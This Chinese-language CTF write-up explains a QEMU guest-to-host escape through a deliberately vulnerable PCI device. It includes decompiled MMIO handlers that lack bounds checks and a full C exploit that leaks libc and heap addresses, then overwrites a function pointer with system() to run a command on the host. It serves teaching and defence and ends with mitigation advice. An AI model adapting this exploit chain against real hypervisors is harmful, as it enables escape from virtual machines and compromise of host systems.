qemu虚拟化逃逸
字数 1457
更新时间 2026-04-25 12:01:39
QEMU 虚拟化逃逸漏洞利用教学文档
一、漏洞环境搭建与分析
1.1 环境准备
本教学基于一个QEMU I/O传输(iot)类型的虚拟化逃逸题目,附件提供了完整的模拟环境。题目是OOB(越界)任意读写的漏洞利用。
环境恢复步骤:
- 使用
docker load命令导入提供的镜像文件 - 启动Docker容器:
docker run -d --name ccb-dev -p 9999:9999 ccb-dev:latest - 验证容器状态:
docker ps和docker logs ccb-dev - 连接容器:
nc 127.0.0.1 9999 - 进入容器shell:
docker exec -it ccb-dev /bin/bash
1.2 文件提取与解包
从容器中提取关键文件到当前目录:
mkdir -p challenge-attachments
docker cp ccb-dev:/home/ctf/run.sh challenge-attachments/
docker cp ccb-dev:/home/ctf/qemu-system-x86_64 challenge-attachments/
docker cp ccb-dev:/home/ctf/vmlinuz challenge-attachments/
docker cp ccb-dev:/home/ctf/core.cpio challenge-attachments/
docker cp ccb-dev:/home/ctf/pc-bios challenge-attachments/
解压核心文件系统:
mkdir extracted
cd extracted
cpio -idmv < ../core.cpio
1.3 QEMU启动配置
分析start.sh启动脚本:
#!/bin/sh
./qemu-system-x86_64 \
-m 512M \
-kernel ./vmlinuz \
-initrd ./core.cpio \
-L pc-bios \
-monitor /dev/null \
-append "root=/dev/ram rdinit=/sbin/init console=ttyS0 oops=panic panic=1 loglevel=3 quiet kaslr" \
-cpu kvm64,+smep \
-smp cores=2,threads=1 \
-device ccb-dev-pci \ # 关键:加载漏洞设备
-nographic
二、漏洞设备分析
2.1 设备注册与初始化
在IDA中搜索关键字"ccb"分析设备驱动代码:
设备类初始化函数:ccb_dev_class_init
void __cdecl ccb_dev_class_init(ObjectClass *oc, void *data)
{
DeviceClass *dc;
PCIDeviceClass *pci;
dc = (DeviceClass *)object_class_dynamic_cast_assert(...);
pci = (PCIDeviceClass *)object_class_dynamic_cast_assert(...);
pci->realize = ccb_dev_realize; // 设置realize回调
pci->vendor_id = 0x1234; // 设备厂商ID
pci->device_id = 0x1337; // 设备ID
pci->revision = -127;
pci->class_id = 255;
dc->desc = "arttnba3 test PCI device";
set_bit_68(7, dc->categories);
}
设备实现函数:ccb_dev_realize
void __cdecl ccb_dev_realize(PCIDevice *pci_dev, Error **errp)
{
CCBPCIDevState *ds_0;
ds_0 = (CCBPCIDevState *)object_dynamic_cast_assert(...);
// 初始化MMIO区域
memory_region_init_io(
&ds_0->mmio,
&ds_0->parent_obj.qdev.parent_obj,
&ccb_dev_mmio_ops, // 关键:MMIO操作函数表
pci_dev,
"ccb_dev-mmio",
0x800u);
pci_register_bar(pci_dev, 0, 0, &ds_0->mmio);
// 初始化设备状态
memset(ds_0->buffer, 0, sizeof(ds_0->buffer));
ds_0->index = 0;
ds_0->log_arg = 0;
ds_0->status = 0;
ds_0->log_fd = 2;
memset(ds_0->log_format, 0, sizeof(ds_0->log_format));
ds_0->log_handler = (LogHandlerFunc)&dprintf; // 初始化为dprintf函数
}
2.2 漏洞点分析
MMIO读操作:ccb_dev_mmio_read
uint32_t __cdecl ccb_dev_mmio_read(void *opaque, hwaddr addr, unsigned int size)
{
CCBPCIDevState *ds_0 = ...;
uint32_t val = 0;
switch (addr) {
case 0uLL: // 读取index
val = ds_0->index;
break;
case 4uLL: // 关键漏洞:越界读
val = ds_0->buffer[ds_0->index]; // 无边界检查
break;
case 8uLL:
val = 0xDEADBEEF;
break;
case 0x10uLL: // 读取log_arg
val = ds_0->log_arg;
break;
case 0x18uLL: // 读取status
val = ds_0->status;
break;
default:
return val;
}
return val;
}
MMIO写操作:ccb_dev_mmio_write
void __cdecl ccb_dev_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
CCBPCIDevState *ds_0 = ...;
uint32_t vala = val;
switch (addr) {
case 0uLL: // 设置index
ds_0->index = vala;
break;
case 4uLL: // 关键漏洞:越界写
ds_0->buffer[ds_0->index] = vala; // 无边界检查
break;
case 0xCuLL: // 触发log_handler调用
if (ds_0->log_handler) {
ds_0->log_handler(ds_0->log_fd, ds_0->log_format, ds_0->log_arg);
ds_0->status = 0x10663D;
} else {
ds_0->status = 0xFA113D;
}
break;
case 0x10uLL: // 设置log_arg
ds_0->log_arg = vala;
break;
case 0x14uLL: // 设置log_fd
ds_0->log_fd = vala;
break;
default:
return;
}
}
三、漏洞利用原理
3.1 漏洞利用思路
- 越界读写:通过控制index,可以读写buffer数组之外的内存
- 信息泄露:利用越界读泄露libc基地址和堆地址
- 函数指针劫持:修改log_handler指针为system函数
- 参数控制:通过log_format和log_arg传递命令参数
- 触发执行:向地址0xC写入任意值触发log_handler调用
3.2 关键数据结构偏移计算
// 计算log_handler在结构体中的偏移
pwndbg> p/x (0x6129927014d8 - 0x612992701490 - 4) / 4
$2 = 0x11 // 17,表示在buffer[17]的位置
四、利用程序开发
4.1 头文件包含
#include <stdio.h> // printf
#include <stdint.h> // uint8_t, uint32_t, uint64_t
#include <stdlib.h> // exit, malloc
#include <string.h> // strcmp, memset
#include <dirent.h> // 遍历目录
#include <fcntl.h> // open, O_RDWR, O_SYNC
#include <unistd.h> // read, close
#include <errno.h> // errno
#include <sys/mman.h> // mmap
4.2 MMIO设备交互基础
PCI设备查找:
lspci
# 输出示例:
# 00:04.0 Class 00ff: 1234:1337 # 目标设备
MMIO映射:
char *pci_device_name = "/sys/bus/pci/devices/0000:00:04.0/resource0";
int fd = open(pci_device_name, O_RDWR | O_SYNC);
unsigned char *mmio_base = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
读写函数封装:
uint32_t mmio_read(uint64_t addr) {
return *((uint32_t *)(mmio_base + addr));
}
void mmio_write(uint64_t addr, uint32_t value) {
*((uint32_t *)(mmio_base + addr)) = value;
}
4.3 完整的漏洞利用程序
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
char *pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";
unsigned char *mmio_base;
// MMIO读写函数
uint32_t mmio_read(uint64_t addr) {
return *((uint32_t *)(mmio_base + addr));
}
void mmio_write(uint64_t addr, uint32_t value) {
*((uint32_t *)(mmio_base + addr)) = value;
}
// 辅助读写函数
uint32_t read_data(uint32_t idx) {
mmio_write(0, idx);
return mmio_read(4);
}
void write_data(uint32_t idx, uint32_t value) {
mmio_write(0, idx);
mmio_write(4, value);
}
uint64_t read64(uint32_t idx) {
uint32_t low = read_data(idx);
uint32_t high = read_data(idx + 1);
return ((uint64_t)high << 32) | low;
}
int main() {
// 打开并映射MMIO
int fd = open(pci_device_name, O_RDWR | O_SYNC);
if (fd < 0) {
perror("open");
return 1;
}
mmio_base = (unsigned char *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (mmio_base == MAP_FAILED) {
perror("mmap");
return 1;
}
// 1. 泄露libc基地址
// 读取log_handler指针(dprintf函数地址)
mmio_write(0, 17); // index = 17,对应log_handler低32位
uint32_t low = mmio_read(4);
printf("log_handler low: 0x%08x\n", low);
mmio_write(0, 18); // index = 18,对应log_handler高32位
uint32_t high = mmio_read(4);
printf("log_handler high: 0x%08x\n", high);
uint64_t dprintf_addr = (((uint64_t)high << 32) | low);
uint64_t libc_base = dprintf_addr - 0x60a10; // 减去dprintf偏移
uint64_t system_addr = libc_base + 0x50d70; // 加上system偏移
printf("dprintf addr: 0x%016lx\n", dprintf_addr);
printf("libc base: 0x%016lx\n", libc_base);
printf("system addr: 0x%016lx\n", system_addr);
// 2. 泄露堆地址
mmio_write(0, 103); // 通过越界读获取堆地址
uint32_t heap_low = mmio_read(4);
printf("heap_low: 0x%08x\n", heap_low);
mmio_write(0, 104);
uint32_t heap_high = mmio_read(4);
printf("heap_high: 0x%08x\n", heap_high);
uint64_t heap = ((uint64_t)heap_high << 32) | heap_low;
uint64_t log_format_addr = heap + 0xaa0; // 计算log_format字符串地址
printf("heap: 0x%016lx\n", heap);
printf("log_format addr: 0x%016lx\n", log_format_addr);
// 3. 写入命令字符串"cat flag"
// 注意:由于是32位写入,需要分两次写入
write_data(23, ' tac'); // " tac"(注意小端序)
write_data(24, 'galf'); // "galf"
write_data(25, 0); // 字符串结束符
// 4. 修改log_format指针指向"cat flag"字符串
write_data(19, log_format_addr & 0xffffffff); // 低32位
write_data(20, log_format_addr >> 32); // 高32位
// 5. 修改log_handler指针为system函数
write_data(17, system_addr & 0xffffffff); // 低32位
write_data(18, system_addr >> 32); // 高32位
// 6. 触发漏洞:调用log_handler(现在是system)
mmio_write(0xc, 0); // 向地址0xC写入任意值触发调用
return 0;
}
五、调试与测试
5.1 文件系统修改
- 将利用程序编译后放入文件系统
- 重新打包文件系统:
find . | cpio -o -H newc > ../core_patched.cpio - 修改start.sh中的initrd指向新文件系统:
-initrd ./core_patched.cpio \
5.2 调试技巧
- QEMU调试:不能在启动参数中简单添加
-s,因为这是设备驱动漏洞 - 断点设置:需要在宿主机的QEMU进程上设置断点
- 符号断点:在设备驱动函数(如
ccb_dev_mmio_write)设置断点 - 内存布局查看:通过gdb查看结构体布局和偏移
六、漏洞利用总结
6.1 利用链
- 通过越界读泄露libc基地址 → 计算system函数地址
- 通过越界读泄露堆地址 → 计算log_format字符串位置
- 通过越界写写入命令字符串"cat flag"
- 通过越界写修改log_format指针指向命令字符串
- 通过越界写修改log_handler指针指向system函数
- 触发MMIO写操作调用log_handler(实际调用system)
6.2 关键点
- index无边界检查:允许读写buffer数组之外的内存
- 函数指针可写:log_handler指针存储在结构体中且可被修改
- 参数可控:log_format和log_arg均可控
- 触发条件简单:向固定地址写入即可触发函数调用
6.3 防御建议
- 边界检查:在读写buffer前检查index范围
- 指针验证:对函数指针进行有效性验证
- 内存隔离:敏感数据结构与用户可控数据隔离
- 权限控制:限制MMIO区域的访问权限
相似文章
相似文章